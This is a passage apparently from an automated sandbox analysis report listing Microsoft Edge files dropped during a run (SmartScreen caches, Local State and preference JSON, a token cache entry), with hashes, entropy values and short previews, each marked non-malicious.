Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3e3e9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089576472664773
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kyTKKGf4SQtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynUt5b7VLyMV/YoskFoz
MD5:	5056C268A97EC32829CAF0459122F7FA
SHA1:	56D5D96B08B6456DA9AD09E0676CEFD1CD86631A
SHA-256:	C7BB5581C4FC16BDDE50E27C0CBAD844062E3590E70FFA001BBCED6F511713CC
SHA-512:	A7CCEBC187AF98B342BB2B28099F1FF9A9D0F0BEE6D3A43D088EFA3E9E483BF5FD5BE0303FE2DB2CA993745BAA9B284F72860FCA3626202A3FCBB54D438840A7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.002823253152498
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXQG8:YWLSGTt1o9LuLgfGBPAzkVj/T8lAD
MD5:	308A7312E3CD7DB8B6AF83D4DD80CAB6
SHA1:	01F3172AD961C3505A7E3BF2469EBC30A2EF75F8
SHA-256:	EFAD3549204CA48A270B730D28DB9F6A926F547D889A59AA7B2EF677D5105C2E
SHA-512:	FE18068471DA54365B28D8590D1B317273F35FD3B88AC24390F84D54CE327055C0F6952880F6860A1B2ED7CA8D665F1A5AD75AA79613DB6525B4AD8B2A929694
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732323888308120}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a2ca9d97-d20a-476a-b827-008a9e3b81df.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46172
Entropy (8bit):	6.087057624156438
Encrypted:	false
SSDEEP:	768:AMkbJrT8IeQc5daJ4KKGf4yu79BicLRiJlFTwJUSa9gCio57DRo+yM/42cRaLMov:AMk1rT8H1aZuBBiUkgFo57VLyMV/YosE
MD5:	1B8889F146283345F477A41DD0E179C1
SHA1:	8F86F597D1300671FC341DE12D714A97C223D921
SHA-256:	F318C7BC66FC8A82B85050D3A4AE7D7FADB942E8C0B94D4B455BBD0205B5BC3A
SHA-512:	C414BA3A7B3E2FA48E96F78867774886228C469343FECC7F5B38327B231CC095AEE69D268CAB1E86EA2C2239D5771E6F55613A3597EF6A5BA3F5A1D9477E622C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"2cbfe236-1d5e-47aa-b739-949eafc90d6f"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732223088"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d88e0c97-9325-4988-9029-7580db6f6497.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46296
Entropy (8bit):	6.0867493641865495
Encrypted:	false
SSDEEP:	768:AMkbJrT8IeQc5JnX4KKGf4yu79BiccRiJlFTwJUSa9gCio57DRo+yM/42cRaLMov:AMk1rT8HxnPuBBivkgFo57VLyMV/YosE
MD5:	7FD7181EA1B4C9A8244EBC8ABAC76AC8
SHA1:	6D4566997C691E89C60E5A42DC3F1F873FFC65EC
SHA-256:	E530983C11326E25959E15E98DE4E191B72A7FF9C6DFEDE8D4C64D78C364285F
SHA-512:	257A9F6C56F5A2DB8ABA04056D9FCA9BCA2FF1ADEECD6B8E3C2BE618AE49BC89F3F2CA7ED8A977A66F7A047EBF788EC94B3FB7EC06390E135443CA1C2775BB03
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"2cbfe236-1d5e-47aa-b739-949eafc90d6f"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732223088"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f6bf8e59-6695-4c8c-bce6-3a60f778b241.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44777
Entropy (8bit):	6.09465245750852
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xuLKKGf4yu79BicLRiJlFTwN7DRo+yM/42cRaLMoskU:z/Ps+wsI7yOhuBBiUN7VLyMV/YoskFoz
MD5:	03E53C95AB32AF194A9620B0E4AE00FC
SHA1:	7F01E5ACB94BFF15A0B88C0B7FBF0954C8D2B401
SHA-256:	6EA447AC808CD5EDFE45A55440811C4F9B293BC8960503AA3DB585E03B24B9A2
SHA-512:	A6327FE38D1FA6D28BEEDD9436B1C20FE8286AE681FF4F438386B7F785125E82965716610EB999DEE55138CC046947F8FF1FB0902ACF7531DD2C44F319AB55CC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.860035237231163
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxLxl9Il8umGj+z0EpTriHu47Ofe1Aahvd1rc:m6Y8z0EpaHuiOfe1Nq
MD5:	74B1A0CB02B2C81FED6AA8DB1132EBA8
SHA1:	1BC7B1D4BBE897BD29F9AD3C7F53B835366F5617
SHA-256:	0E8CFB93B295AE9DF13B0E26878FF4ACBDEE65CAB871476E68E587650182BE9C
SHA-512:	67887039CF3301C6BCF89E62DC6177AFB2DFA7E165E01C9711C8FFECF87BBE8233AA8D378A3767FB8846647C733E60770AD90D9B1547E797992BDA68D45BF304
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.J.M.j.Y.G.E.8.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.v.v.0.E.v.A.

